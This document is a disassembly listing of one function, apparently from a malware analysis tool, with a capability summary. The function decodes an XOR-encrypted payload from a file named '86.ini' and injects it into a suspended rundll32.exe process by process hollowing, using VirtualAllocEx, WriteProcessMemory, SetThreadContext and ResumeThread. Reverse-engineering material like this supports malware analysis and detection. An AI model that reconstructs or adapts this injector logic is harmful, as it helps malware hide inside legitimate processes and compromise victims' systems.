Function at 0x1000169b
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using xor
Execute shellcode via indirect call
Get common file path
Resume thread
Use process replacement

Disassembly:
push 0x8d8
mov eax, 0x10029f66
call fcn.10029650
lea eax, [ebp - 0x47c]
push eax
xor ebx, ebx
push ebx
push ebx
push 0x23
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.86.ini
lea eax, [ebp - 0x47c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x47c]
push eax
lea eax, [ebp - 0x89c]
push eax
call fcn.10002277
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x89c]
mov eax, dword [eax + 4]
mov eax, dword [ebp + eax - 0x890]
test al, 6
je 0x10001729
inc ebx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x834]
call fcn.1000239a
lea eax, [ebp - 0x834]
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.10004a20
pop ecx
mov eax, ebx
call fcn.100296b0
ret
push 2
lea esi, [ebp - 0x89c]
call fcn.10001f91
mov eax, dword [ebp - 0x89c]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x890], 6
jne 0x10001770
mov ecx, dword [ebp + eax - 0x864]
mov eax, dword [ecx]
push 1
push 1
push ebx
push ebx
lea edx, [ebp - 0x7ec]
push edx
call dword [eax + 0x28]
mov ecx, dword [ebp - 0x7e4]
mov eax, dword [ebp - 0x7ec]
jmp 0x10001789
mov ecx, dword [0x1002b31c]
mov eax, dword [0x1002b318]
mov dword [ebp - 0x7e8], ecx
xor ecx, ecx
mov dword [ebp - 0x7e0], ebx
lea edi, [eax + ecx]
push ebx
lea esi, [ebp - 0x89c]
mov dword [ebp - 0x74c], edi
call fcn.10001f91
mov dword [ebp - 0x760], ebx
push 8
mov byte [ebp - 4], 1
call fcn.1000b3b0
pop ecx
cmp eax, ebx
je 0x10001cbc
mov dword [ebp - 0x760], eax
mov dword [eax + 4], ebx
xor ecx, ecx
mov dword [eax], ecx
mov ecx, dword [ebp - 0x760]
lea eax, [ebp - 0x760]
mov dword [ecx], eax
mov dword [ebp - 0x75c], ebx
mov dword [ebp - 0x758], ebx
mov dword [ebp - 0x754], ebx
push edi
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.100034e2
push ebx
push edi
mov byte [ebp - 4], 3
push dword [ebp - 0x75c]
mov eax, esi
push eax
call fcn.10001e88
lea esi, [ebp - 0x88c]
call fcn.1000320d
test eax, eax
jne 0x10001843
mov eax, dword [ebp - 0x89c]
mov ecx, dword [eax + 4]
lea ecx, [ebp + ecx - 0x89c]
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], ebx
jne 0x10001832
or eax, 4
and eax, 0x17
mov dword [ecx + 0xc], eax
test dword [ecx + 0x10], eax
je 0x10001843
push ebx
call fcn.100015b0
push 0x15
pop ecx
mov esi, str.cHve_sLzRS29Zu_FErc_aYkqacaYVzYLudp5FVLNACbNzCqTv_yEypkD3X4GhTTLnHSrQQ_wcz2_jk
lea edi, [ebp - 0x6c]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x75c]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
cmp dword [ebp - 0x74c], ebx
jbe 0x1000187a
xor edx, edx
push 0x56
mov eax, ebx
pop esi
div esi
mov al, byte [ebp + edx - 0x6c]
xor byte [ebx + ecx], al
inc ebx
cmp ebx, dword [ebp - 0x74c]
jb 0x10001861
push dword [ebp - 0x74c]
call fcn.10005910
push ecx
push ecx
mov edi, eax
mov eax, esp
mov dword [ebp - 0x77c], esp
push eax
lea ecx, [ebp - 0x760]
call fcn.10002d94
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x764], esp
push eax
lea ecx, [ebp - 0x760]
mov byte [ebp - 4], 4
call fcn.10002d60
mov ebx, edi
mov byte [ebp - 4], 3
call fcn.10003e8d
add esp, 0x18
push 0x40
mov esi, 0x3000
push esi
mov byte [ebp - 4], 5
push dword [ebp - 0x74c]
xor ebx, ebx
push ebx
mov dword [ebp - 0x764], ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x768], eax
cmp eax, ebx
jne 0x10001928
lea eax, [ebp - 0x74c]
push eax
lea ecx, [ebp - 0x7c8]
mov dword [ebp - 0x74c], str.wF87_Wh_my7VDfz_S8wWuvL5Hese2jQPUsXPKgx2pYsdsdq5ty5gfg323dqsaqFdgmuD_NsLQDtrh_hWtvCc7RX_AcBPTf_K
call fcn.10006070
mov dword [ebp - method.std::runtime_error.virtual_0], vtable.InjectionException.0
push 0x10037140
lea eax, [ebp - 0x7c8]
push eax
call fcn.1000c450
push dword [ebp - 0x74c]
push edi
push eax
call fcn.1000c0e0
push 0x44
pop edi
push edi
lea eax, [ebp - 0x8e0]
push ebx
push eax
call fcn.1000fb90
add esp, 0x18
lea eax, [ebp - 0x778]
push eax
lea eax, [ebp - 0x8e0]
push eax
push ebx
push ebx
push 4
push ebx
push ebx
push ebx
push str.rundll32.exe
push ebx
mov dword [ebp - 0x8e0], edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x100019aa
lea eax, [ebp - 0x74c]
push eax
lea ecx, [ebp - 0x7b0]
mov dword [ebp - 0x74c], str.wF87_Wh_my7VDfz_S8wW23e3y6tgfduvL5Hese2jQPUsXPKgx2pYqFdgmuD_NsLQggggewqwewqDtrh_hWtvCc7RX_AcBPTf_K
call fcn.10006070
mov dword [ebp - method.std::runtime_error.virtual_0], vtable.InjectionException.0
push 0x10037140
lea eax, [ebp - 0x7b0]
jmp 0x10001922
lea eax, [ebp - 0x748]
push eax
push dword [ebp - 0x774]
mov dword [ebp - 0x748], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x10001a01
lea eax, [ebp - 0x74c]
push eax
lea ecx, [ebp - 0x798]
mov dword [ebp - 0x74c], str.wF87_Wh_my7VDfz_S8wWuvL5sdxc212H23rdfsf65gfdese2jQPUsXPKgx2pYqFdgmuD_NsLQDtrh_hWtvCc7RX_AcBPTf_K
call fcn.10006070
mov dword [ebp - method.std::runtime_error.virtual_0], vtable.InjectionException.0
push 0x10037140
lea eax, [ebp - 0x798]
jmp 0x10001922
push 0x40
push esi
push dword [ebp - 0x74c]
push ebx
push dword [ebp - 0x778]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
mov dword [ebp - 0x764], esi
cmp esi, ebx
jne 0x10001a59
lea eax, [ebp - 0x74c]
push eax
lea ecx, [ebp - 0x7d4]
mov dword [ebp - 0x74c], str.wF87_Wh_my7VDfz_S8wWuvL5Hese2jQPUsX4357y5gfd23dPKgsds345dfx2pYqFdgmuD_NsLQDtrh_hWtvCc7RX_AcBPTf_K
call fcn.10006070
mov dword [ebp - method.std::runtime_error.virtual_0], vtable.InjectionException.0
push 0x10037140
lea eax, [ebp - 0x7d4]
jmp 0x10001922
lea eax, [ebp - 0x77c]
push eax
push dword [ebp - 0x74c]
mov dword [ebp - 0x77c], ebx
push dword [ebp - 0x768]
push esi
push dword [ebp - 0x778]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10001ab9
lea eax, [ebp - 0x74c]
push eax
lea ecx, [ebp - 0x78c]
mov dword [ebp - 0x74c], str.wF87_Wh_my7VDfz_S8wWuvL5Hese2jQPUsXPKgx223r5ty6sdpYqFd657hghgmuD_NsLQDtrh_hWtvCc7RX_AcBPTf_K
call fcn.10006070
mov dword [ebp - method.std::runtime_error.virtual_0], vtable.InjectionException.0
push 0x10037140
lea eax, [ebp - 0x78c]
jmp 0x10001922
lea eax, [ebp - 0x748]
push eax
push dword [ebp - 0x774]
mov dword [ebp - 0x690], esi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x10001bef
lea eax, [ebp - 0x74c]
push eax
lea ecx, [ebp - 0x7a4]
mov dword [ebp - 0x74c], str.wF87_Wh_my7VDfz_S8wWuvL5Hese2jQPUsXPKgx34546tgfd2pYqFdgmsdsx1qasuD_NsLQDtrh_hWtvCc7RX_AcBPTf_K
call fcn.10006070
mov dword [ebp - method.std::runtime_error.virtual_0], vtable.InjectionException.0
push 0x10037140
lea eax, [ebp - 0x7a4]
jmp 0x10001922
push dword [ebp - 0x774]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 4], 3
push dword [ebp - 0x774]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x778]
call esi
push 0x8000
push ebx
push dword [ebp - 0x768]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov byte [ebp - 4], 9
cmp dword [ebp - 0x75c], ebx
je 0x10001c4d
lea ecx, [ebp - 0x760]
call fcn.10001108
push dword [ebp - 0x75c]
call fcn.10009f20
pop ecx
mov dword [ebp - 0x75c], ebx
mov dword [ebp - 0x758], ebx
mov dword [ebp - 0x754], ebx
lea ecx, [ebp - 0x760]
mov byte [ebp - 4], 0xa
call fcn.10001108
push dword [ebp - 0x760]
call fcn.10009f20
pop ecx
lea ecx, [ebp - 0x760]
mov dword [ebp - 0x760], ebx
mov byte [ebp - 4], bl
call fcn.10001108
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x834]
call fcn.1000239a
lea eax, [ebp - 0x834]
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.10004a20
xor eax, eax
pop ecx
inc eax
jmp 0x10001723
lea eax, [ebp - 0x780]
push eax
lea ecx, [ebp - 0x7bc]
mov dword [ebp - 0x780], ebx
call fcn.10006070
mov dword [ebp - method.std::bad_alloc.virtual_0], vtable.std::bad_alloc.0
push 0x100371b0
lea eax, [ebp - 0x7bc]
jmp 0x10001922